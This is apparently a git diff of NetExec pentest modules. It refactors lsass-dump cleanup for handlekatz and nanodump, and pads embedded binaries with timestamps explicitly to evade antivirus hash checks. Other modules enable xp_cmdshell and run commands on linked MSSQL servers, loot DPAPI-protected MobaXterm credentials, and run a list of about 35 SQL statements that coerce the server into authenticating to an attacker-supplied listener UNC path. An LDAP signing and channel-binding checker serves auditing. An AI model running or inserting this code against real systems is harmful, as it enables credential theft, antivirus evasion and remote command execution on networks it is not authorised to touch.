matches = re.search(regex, str(p), re.MULTILINE)
if not matches:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
return
machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
@@ -113,12 +119,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
self.delete_handlekatz_binary()
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
@@ -182,3 +183,10 @@ class NXCModule:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail(f"Error opening dump file: {e}")
def delete_handlekatz_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
+6 -1
View File
@@ -6,7 +6,7 @@
from base64 import b64decode
from os import path
import sys
from datetime import datetime
from nxc.paths import DATA_PATH
@@ -29,8 +29,13 @@ class NXCModule:
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
+7 -2
View File
@@ -17,7 +17,8 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""No module options"""
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
def on_login(self, context, connection):
try:
@@ -37,7 +38,11 @@ class NXCModule:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight(f"Address: {NetworkAddr}")
if self.pivot:
if NetworkAddr.rstrip("\x00") != connection.host:
context.log.highlight(f"Address: {NetworkAddr}")
else:
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
+228 -171
View File
@@ -1,6 +1,8 @@
import socket
import ssl
import asyncio
import hashlib
import random
from msldap.connection import MSLDAPClientConnection
from msldap.commons.target import MSLDAPTarget
@@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential
from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import sys
import contextlib
class NXCModule:
"""
Checks whether LDAP signing and channelbinding are required.
Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
Module by LuemmelSec (@theluemmel), updated by @zblurx
Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
"""
name = "ldap-checker"
description = "Checks whether LDAP signing and binding are required and / or enforced"
description = "Checks whether LDAP signing and channel binding are required and / or enforced"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
@@ -30,173 +31,229 @@ class NXCModule:
def options(self, context, module_options):
"""No options available."""
def on_login(self, context, connection):
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
# Required step to try to bind without channel binding
ldapsClientConn.cb_data = None
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
valid, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
elif "data 52e" in str(err):
return False # channel binding not enforced
elif err is None:
# LDAPS bind successful
# because channel binding is not enforced
return False
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
# LDAPS bind has without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True
elif "data 52e" in str(err):
return False
elif err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
elif err is None:
return False
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def DoesLdapsCompleteHandshake(dcIp):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(
s,
do_handshake_on_connect=False,
suppress_ragged_eofs=False,
)
try:
ssl_sock.connect((dcIp, 636))
ssl_sock.do_handshake()
ssl_sock.close()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
ssl_sock.close()
return True
if "handshake operation timed out" in str(e):
ssl_sock.close()
return False
else:
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
ssl_sock.close()
return False
# Conduct and LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(target, credential):
try:
ldapsClientConn = MSLDAPClientConnection(target, credential)
ldapsClientConn._disable_signing = True
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail(str(err))
return None
_, err = await ldapsClientConn.bind()
if err is not None:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(str(err))
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(str(e))
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.debug(f"Error connecting to {connection.domain}: {err}")
return None
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
secret = connection.password if not connection.nthash else connection.nthash
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected is True:
context.log.fail("LDAP Signing IS Enforced")
else:
context.log.fail("Connection fail, exiting now")
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck is True:
context.log.fail('LDAPS Channel Binding is set to "Required"')
client.cb_data = None
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True # -> channel binding IS enforced
elif err and "data 52e" in str(err):
return False # -> channel binding not enforced
elif err is None:
return False # LDAPS bind successful -> channel binding not enforced
else:
context.log.fail("\nSomething went wrong...")
sys.exit()
context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
return None
except Exception as e:
context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
return None
finally:
with contextlib.suppress(Exception):
await client.disconnect()
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that an
# LDAPS bind without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting to {connection.domain}: {err}")
return None
try:
context.log.debug("Retrieving TLS certificate hash...")
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
cert = ssl_sock.getpeercert(binary_form=True)
if cert:
cert_hash = hashlib.sha256(cert).digest()
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
pos = random.randint(0, len(cert_hash) - 1)
tampered_bytes = bytearray(cert_hash)
tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
context.log.debug(f"Modified byte at position {pos}")
client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
else:
client.cb_data = b"\x00" * 64
except Exception as e:
context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
client.cb_data = b"\x00" * 64
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True
elif (err and "data 52e" in str(err)) or err is None:
return False
else:
context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
return None
except Exception as e:
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def does_ldaps_complete_handshake(self, context, dc_ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
try:
ssl_sock.connect((dc_ip, 636))
ssl_sock.do_handshake()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
return True
elif "handshake operation timed out" in str(e):
return False
else:
context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
return False
finally:
ssl_sock.close()
# Conduct an LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(self, context, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
client._disable_signing = True # deliberately disable LDAP signing on client connection
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting for LDAP bind: {err}")
return None
_, err = await client.bind()
if err:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(f"LDAP bind error: {err}")
return None
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(f"Exception during LDAP bind: {e}")
return None
# Determine authentication context and proceed to
# enumerate LDAP signing and channel binding settings
def on_login(self, context, connection):
stype = asyauthSecret.PASS
secret = connection.password
if connection.nthash:
stype = asyauthSecret.NT
secret = connection.nthash
if connection.aesKey:
stype = asyauthSecret.AES
secret = connection.aesKey
anon_credential = NTLMCredential(
secret="",
username="",
domain=connection.domain,
stype=asyauthSecret.PASS
)
if not connection.username and not secret:
context.log.highlight("No credentials provided, skipping LDAP signing check")
credential = anon_credential
else:
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
ldap_signing_status = None
if connection.username or secret:
target = MSLDAPTarget(
connection.host, 389,
hostname=connection.remoteName,
domain=connection.domain,
dc_ip=connection.kdcHost,
)
ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
if ldap_signing_status is True:
context.log.highlight("LDAP signing IS enforced")
elif ldap_signing_status is False:
context.log.highlight("LDAP signing NOT enforced")
else:
context.log.fail("Could not determine LDAP signing requirement.")
if self.does_ldaps_complete_handshake(context, connection.host):
target = MSLDAPTarget(
connection.host, 636,
UniProto.CLIENT_SSL_TCP,
hostname=connection.remoteName,
domain=connection.domain,
dc_ip=connection.kdcHost,
)
ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
if ldaps_noEPA is False and ldaps_withEPA is True:
context.log.highlight("LDAPS channel binding is set to: When Supported")
elif ldaps_noEPA is False and ldaps_withEPA is False:
context.log.highlight("LDAPS channel binding is set to: Never")
elif ldaps_noEPA is True:
context.log.highlight("LDAPS channel binding is set to: Required")
else:
context.log.fail("Could not determine LDAPS channel binding settings")
else:
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
+63
View File
@@ -0,0 +1,63 @@
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked SQL server
Module by deathflamingo
"""
name = "link_enable_xp"
description = "Enable or disable xp_cmdshell on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.action = None
self.linked_server = None
def options(self, context, module_options):
"""
Defines the options for enabling or disabling xp_cmdshell on the linked server.
ACTION Specifies whether to enable or disable:
- enable (default)
- disable
LINKED_SERVER The name of the linked SQL server to target.
"""
self.action = module_options.get("ACTION", "enable")
self.linked_server = module_options.get("LINKED_SERVER")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server:
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
return
# Enable or disable xp_cmdshell based on action
if self.action == "enable":
self.enable_xp_cmdshell()
elif self.action == "disable":
self.disable_xp_cmdshell()
else:
self.context.log.fail(f"Unknown action: {self.action}")
def enable_xp_cmdshell(self):
"""Enable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
out = self.query_and_get_output(query)
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
out = self.query_and_get_output(query)
self.context.log.display(out)
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
def disable_xp_cmdshell(self):
"""Disable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
self.query_and_get_output(query)
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
+44
View File
@@ -0,0 +1,44 @@
class NXCModule:
"""
Run xp_cmdshell commands on a linked SQL server
Module by deathflamingo
"""
name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
Defines the options for running xp_cmdshell commands on a linked server.
LINKED_SERVER The name of the linked SQL server to target.
CMD The command to run via xp_cmdshell.
"""
self.linked_server = module_options.get("LINKED_SERVER")
self.command = module_options.get("CMD")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
return
self.run_xp_cmdshell(self.command)
def run_xp_cmdshell(self, cmd):
"""Run the specified command via xp_cmdshell on the linked server."""
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
result = self.query_and_get_output(query)
self.context.log.success(f"Command output:\n{result}")
def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
+23 -89
View File
@@ -1,10 +1,8 @@
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
@@ -15,99 +13,34 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
self.conn = None
self.target = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
""" """
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
self.pvkbytes = get_domain_backup_key(connection)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.target = Target.create(
domain=domain,
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=use_kcache,
use_kcache=getattr(connection, "use_kcache", False),
)
try:
self.conn = DPLootSMBConnection(self.target)
self.conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
@@ -115,14 +48,15 @@ class NXCModule:
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
_, credentials = triage.triage_mobaxterm()
for credential in credentials:
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+6 -10
View File
@@ -1,5 +1,4 @@
import ntpath
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
@@ -7,6 +6,8 @@ from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
class MRemoteNgEncryptionAttributes:
@@ -94,7 +95,10 @@ class NXCModule:
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
@@ -116,14 +120,6 @@ class NXCModule:
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def get_users(self, conn):
users = []
+79
View File
@@ -0,0 +1,79 @@
import sys
class NXCModule:
"""Execute arbitrary SQL commands on the target MSSQL server"""
name = "mssql_coerce"
description = "Execute arbitrary SQL commands on the target MSSQL server"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
self.listener = None
def options(self, context, module_options):
"""
LISTENER LISTENER for exploitation
L Alias for LISTENER
"""
self.context = context
self.listener = None
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
if "L" in module_options:
self.listener = module_options["L"]
def on_login(self, context, connection):
if self.listener is None:
context.log.error("LISTENER option is required!")
sys.exit(1)
self.context = context
self.mssql_conn = connection.conn
commands = [
f"xp_dirtree '\\\\{self.listener}\\file';",
f"xp_fileexist '\\\\{self.listener}\\file';",
f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';",
f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';",
f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';",
f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');",
f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ",
f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';",
f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ",
f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ",
f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ",
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;",
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;",
f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ",
f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ",
f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ",
f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ",
f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ",
f"xp_subdirs '\\\\{self.listener}\\file';",
f"xp_cmdshell 'dir \\\\{self.listener}\\file';",
f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);",
f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];",
f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');",
f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');",
f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');",
]
for command in commands:
try:
result = self.mssql_conn.sql_query(command)
self.context.log.debug(f"Executing command: {command}, Command result: {result}")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {command}, Error: {e}")
self.context.log.display("Commands executed successfully, check the listener for results")
+8 -1
View File
@@ -51,6 +51,10 @@ class NXCModule:
self.nano = "nano.exe"
self.nano_path = ""
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
padding = datetime.now().strftime("%Y%m%d%H%M%S").encode()
self.nano_embedded64 += padding
self.nano_embedded32 += padding
if "NANO_PATH" in module_options:
self.nano_path = module_options["NANO_PATH"]
@@ -149,7 +153,10 @@ class NXCModule:
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
dump = False
if dump:
if not dump:
self.delete_nanodump_binary()
return
else:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
if self.context.protocol == "smb":
+50
View File
@@ -0,0 +1,50 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
class NXCModule:
# Finds notepad++ unsaved backup files
# Module by @Defte_
name = "notepad++"
description = "Extracts notepad++ unsaved files."
